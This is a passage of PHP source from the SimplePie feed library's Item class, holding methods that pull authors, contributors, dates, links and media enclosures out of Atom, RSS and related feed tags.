$categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
}
if (!empty($categories)) {
return array_unique($categories);
}
return null;
}
/**
* Get an author for the item
*
* @since Beta 2
* @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
* @return \SimplePie\Author|null
*/
public function get_author(int $key = 0)
{
$authors = $this->get_authors();
if (isset($authors[$key])) {
return $authors[$key];
}
return null;
}
/**
* Get a contributor for the item
*
* @since 1.1
* @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
* @return \SimplePie\Author|null
*/
public function get_contributor(int $key = 0)
{
$contributors = $this->get_contributors();
if (isset($contributors[$key])) {
return $contributors[$key];
}
return null;
}
/**
* Get all contributors for the item
*
* Uses `<atom:contributor>`
*
* @since 1.1
* @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
*/
public function get_contributors()
{
$contributors = [];
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
$name = null;
$uri = null;
$email = null;
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
$name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
$uri = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
$uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
$email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null) {
$contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
}
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
$name = null;
$url = null;
$email = null;
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
$name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
$url = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
$url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
$email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null) {
$contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
}
}
if (!empty($contributors)) {
return array_unique($contributors);
}
return null;
}
/**
* Get all authors for the item
*
* Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
*
* @since Beta 2
* @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
*/
public function get_authors()
{
$authors = [];
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
$name = null;
$uri = null;
$email = null;
if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
$name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
$uri = $author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
$uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
}
if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
$email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null) {
$authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
}
}
if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
$name = null;
$url = null;
$email = null;
if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
$name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
$url = $author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
$url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
}
if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
$email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null) {
$authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
}
}
if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'author')) {
$authors[] = $this->registry->create(Author::class, [null, null, $this->sanitize($author[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)]);
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
if (!empty($authors)) {
return array_unique($authors);
} elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) {
return $authors;
} elseif ($authors = $this->feed->get_authors()) {
return $authors;
}
return null;
}
/**
* Get the copyright info for the item
*
* Uses `<atom:rights>` or `<dc:rights>`
*
* @since 1.1
* @return string|null
*/
public function get_copyright()
{
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the posting date/time for the item
*
* Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
* `<atom:modified>`, `<pubDate>` or `<dc:date>`
*
* Note: obeys PHP's timezone setting. To get a UTC date/time, use
* {@see get_gmdate}
*
* @since Beta 2 (previously called `get_item_date` since 0.8)
*
* @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
* @return ($date_format is 'U' ? ?int : ?string)
*/
public function get_date(string $date_format = 'j F Y, g:i a')
{
if (!isset($this->data['date'])) {
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'published')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'pubDate')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'date')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'date')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'issued')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'created')) {
$this->data['date']['raw'] = $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'modified')) {
$this->data['date']['raw'] = $return[0]['data'];
}
if (!empty($this->data['date']['raw'])) {
$parser = $this->registry->call(Parse\Date::class, 'get');
$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']) ?: null;
} else {
$this->data['date'] = null;
}
}
if ($this->data['date']) {
switch ($date_format) {
case '':
return $this->sanitize($this->data['date']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
case 'U':
return $this->data['date']['parsed'];
default:
return date($date_format, $this->data['date']['parsed']);
}
}
return null;
}
/**
* Get the update date/time for the item
*
* Uses `<atom:updated>`
*
* Note: obeys PHP's timezone setting. To get a UTC date/time, use
* {@see get_gmdate}
*
* @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
* @return ($date_format is 'U' ? ?int : ?string)
*/
public function get_updated_date(string $date_format = 'j F Y, g:i a')
{
if (!isset($this->data['updated'])) {
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
$this->data['updated']['raw'] = $return[0]['data'];
}
if (!empty($this->data['updated']['raw'])) {
$parser = $this->registry->call(Parse\Date::class, 'get');
$this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']) ?: null;
} else {
$this->data['updated'] = null;
}
}
if ($this->data['updated']) {
switch ($date_format) {
case '':
return $this->sanitize($this->data['updated']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
case 'U':
return $this->data['updated']['parsed'];
default:
return date($date_format, $this->data['updated']['parsed']);
}
}
return null;
}
/**
* Get the localized posting date/time for the item
*
* Returns the date formatted in the localized language. To display in
* languages other than the server's default, you need to change the locale
* with {@link http://php.net/setlocale setlocale()}. The available
* localizations depend on which ones are installed on your web server.
*
* @since 1.0
*
* @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
* @return string|null|false see `strftime` for when this can return `false`
*/
public function get_local_date(string $date_format = '%c')
{
if ($date_format === '') {
if (($raw_date = $this->get_date('')) === null) {
return null;
}
return $this->sanitize($raw_date, \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif (($date = $this->get_date('U')) !== null && $date !== false) {
return strftime($date_format, $date);
}
return null;
}
/**
* Get the posting date/time for the item (UTC time)
*
* @see get_date
* @param string $date_format Supports any PHP date format from {@see http://php.net/date}
* @return string|null
*/
public function get_gmdate(string $date_format = 'j F Y, g:i a')
{
$date = $this->get_date('U');
if ($date === null) {
return null;
}
return gmdate($date_format, $date);
}
/**
* Get the update date/time for the item (UTC time)
*
* @see get_updated_date
* @param string $date_format Supports any PHP date format from {@see http://php.net/date}
* @return string|null
*/
public function get_updated_gmdate(string $date_format = 'j F Y, g:i a')
{
$date = $this->get_updated_date('U');
if ($date === null) {
return null;
}
return gmdate($date_format, $date);
}
/**
* Get the permalink for the item
*
* Returns the first link available with a relationship of "alternate".
* Identical to {@see get_link()} with key 0
*
* @see get_link
* @since 0.8
* @return string|null Permalink URL
*/
public function get_permalink()
{
$link = $this->get_link();
$enclosure = $this->get_enclosure(0);
if ($link !== null) {
return $link;
} elseif ($enclosure !== null) {
return $enclosure->get_link();
}
return null;
}
/**
* Get a single link for the item
*
* @since Beta 3
* @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
* @param string $rel The relationship of the link to return
* @return string|null Link URL
*/
public function get_link(int $key = 0, string $rel = 'alternate')
{
$links = $this->get_links($rel);
if ($links && $links[$key] !== null) {
return $links[$key];
}
return null;
}
/**
* Get all links for the item
*
* Uses `<atom:link>`, `<link>` or `<guid>`
*
* @since Beta 2
* @param string $rel The relationship of links to return
* @return array<string>|null Links found for the item (strings)
*/
public function get_links(string $rel = 'alternate')
{
if (!isset($this->data['links'])) {
$this->data['links'] = [];
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
if (isset($link['attribs']['']['href'])) {
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
}
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
if (isset($link['attribs']['']['href'])) {
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
}
}
if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
}
if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
}
if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
}
if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
}
}
$keys = array_keys($this->data['links']);
foreach ($keys as $key) {
if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
$this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
} else {
$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
}
} elseif (substr((string) $key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
$this->data['links'][substr((string) $key, 41)] = &$this->data['links'][$key];
}
$this->data['links'][$key] = array_unique($this->data['links'][$key]);
}
}
if (isset($this->data['links'][$rel])) {
return $this->data['links'][$rel];
}
return null;
}
/**
* Get an enclosure from the item
*
* Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
*
* @since Beta 2
* @todo Add ability to prefer one type of content over another (in a media group).
* @param int $key The enclosure that you want to return. Remember that arrays begin with 0, not 1
* @return \SimplePie\Enclosure|null
*/
public function get_enclosure(int $key = 0)
{
$enclosures = $this->get_enclosures();
if (isset($enclosures[$key])) {
return $enclosures[$key];
}
return null;
}
/**
* Get all available enclosures (podcasts, etc.)
*
* Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
*
* At this point, we're pretty much assuming that all enclosures for an item
* are the same content. Anything else is too complicated to
* properly support.
*
* @since Beta 2
* @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
* @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
* @return \SimplePie\Enclosure[]|null List of \SimplePie\Enclosure items
*/
public function get_enclosures()
{
if (!isset($this->data['enclosures'])) {
$this->data['enclosures'] = [];
// Elements
$captions_parent = null;
$categories_parent = null;
$copyrights_parent = null;
$credits_parent = null;
$description_parent = null;
$duration_parent = null;
$hashes_parent = null;
$keywords_parent = null;
$player_parent = null;
$ratings_parent = null;
$restrictions_parent = [];
$thumbnails_parent = null;
$title_parent = null;
// Let's do the channel and item-level ones first, and just re-use them if we need to.
$parent = $this->get_feed();
// CAPTIONS
if ($captions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
foreach ($captions as $caption) {
$caption_type = null;
$caption_lang = null;
$caption_startTime = null;
$caption_endTime = null;
$caption_text = null;
if (isset($caption['attribs']['']['type'])) {
$caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['lang'])) {
$caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['start'])) {
$caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['end'])) {
$caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['data'])) {
$caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
}
} elseif ($captions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
foreach ($captions as $caption) {
$caption_type = null;
$caption_lang = null;
$caption_startTime = null;
$caption_endTime = null;
$caption_text = null;
if (isset($caption['attribs']['']['type'])) {
$caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['lang'])) {
$caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['start'])) {
$caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['end'])) {
$caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['data'])) {
$caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
}
}
if (is_array($captions_parent)) {
$captions_parent = array_values(array_unique($captions_parent));
}
// CATEGORIES
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['data'])) {
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = 'http://search.yahoo.com/mrss/category_schema';
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['data'])) {
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = 'http://search.yahoo.com/mrss/category_schema';
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'category') as $category) {
$term = null;
$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
$label = null;
if (isset($category['attribs']['']['text'])) {
$label = $this->sanitize($category['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
if (isset($category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'])) {
foreach ((array) $category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'] as $subcategory) {
if (isset($subcategory['attribs']['']['text'])) {
$label = $this->sanitize($subcategory['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
}
}
if (is_array($categories_parent)) {
$categories_parent = array_values(array_unique($categories_parent));
}
// COPYRIGHT
if ($copyright = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
$copyright_url = null;
$copyright_label = null;
if (isset($copyright[0]['attribs']['']['url'])) {
$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($copyright[0]['data'])) {
$copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
} elseif ($copyright = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
$copyright_url = null;
$copyright_label = null;
if (isset($copyright[0]['attribs']['']['url'])) {
$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($copyright[0]['data'])) {
$copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
}
// CREDITS
if ($credits = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
foreach ($credits as $credit) {
$credit_role = null;
$credit_scheme = null;
$credit_name = null;
if (isset($credit['attribs']['']['role'])) {
$credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($credit['attribs']['']['scheme'])) {
$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$credit_scheme = 'urn:ebu';
}
if (isset($credit['data'])) {
$credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
}
} elseif ($credits = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
foreach ($credits as $credit) {
$credit_role = null;
$credit_scheme = null;
$credit_name = null;
if (isset($credit['attribs']['']['role'])) {
$credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($credit['attribs']['']['scheme'])) {
$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$credit_scheme = 'urn:ebu';
}
if (isset($credit['data'])) {
$credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
}
}
if (is_array($credits_parent)) {
$credits_parent = array_values(array_unique($credits_parent));
}
// DESCRIPTION
if ($description_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
if (isset($description_parent[0]['data'])) {
$description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
} elseif ($description_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
if (isset($description_parent[0]['data'])) {
$description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
}
// DURATION
$duration_tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'duration');
if ($duration_tags !== null) {
$seconds = null;
$minutes = null;
$hours = null;
if (isset($duration_tags[0]['data'])) {
$temp = explode(':', $this->sanitize($duration_tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
$seconds = (int) array_pop($temp);
if (count($temp) > 0) {
$minutes = (int) array_pop($temp);
$seconds += $minutes * 60;
}
if (count($temp) > 0) {
$hours = (int) array_pop($temp);
$seconds += $hours * 3600;
}
unset($temp);
$duration_parent = $seconds;
}
}
// HASHES
if ($hashes_iterator = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
foreach ($hashes_iterator as $hash) {
$value = null;
$algo = null;
if (isset($hash['data'])) {
$value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($hash['attribs']['']['algo'])) {
$algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$algo = 'md5';
}
$hashes_parent[] = $algo.':'.$value;
}
} elseif ($hashes_iterator = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
foreach ($hashes_iterator as $hash) {
$value = null;
$algo = null;
if (isset($hash['data'])) {
$value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($hash['attribs']['']['algo'])) {
$algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$algo = 'md5';
}
$hashes_parent[] = $algo.':'.$value;
}
}
if (is_array($hashes_parent)) {
$hashes_parent = array_values(array_unique($hashes_parent));
}
// KEYWORDS
if ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
if (isset($keywords[0]['data'])) {
$temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords_parent[] = trim($word);
}
}
unset($temp);
} elseif ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
if (isset($keywords[0]['data'])) {
$temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords_parent[] = trim($word);
}
}
unset($temp);
} elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
if (isset($keywords[0]['data'])) {
$temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords_parent[] = trim($word);
}
}
unset($temp);
} elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
if (isset($keywords[0]['data'])) {
$temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords_parent[] = trim($word);
}
}
unset($temp);
}
if (is_array($keywords_parent)) {
$keywords_parent = array_values(array_unique($keywords_parent));
}
// PLAYER
if ($player_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
if (isset($player_parent[0]['attribs']['']['url'])) {
$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($player_parent[0]));
}
} elseif ($player_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
if (isset($player_parent[0]['attribs']['']['url'])) {
$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($player_parent[0]));
}
}
// RATINGS
if ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
foreach ($ratings as $rating) {
$rating_scheme = null;
$rating_value = null;
if (isset($rating['attribs']['']['scheme'])) {
$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$rating_scheme = 'urn:simple';
}
if (isset($rating['data'])) {
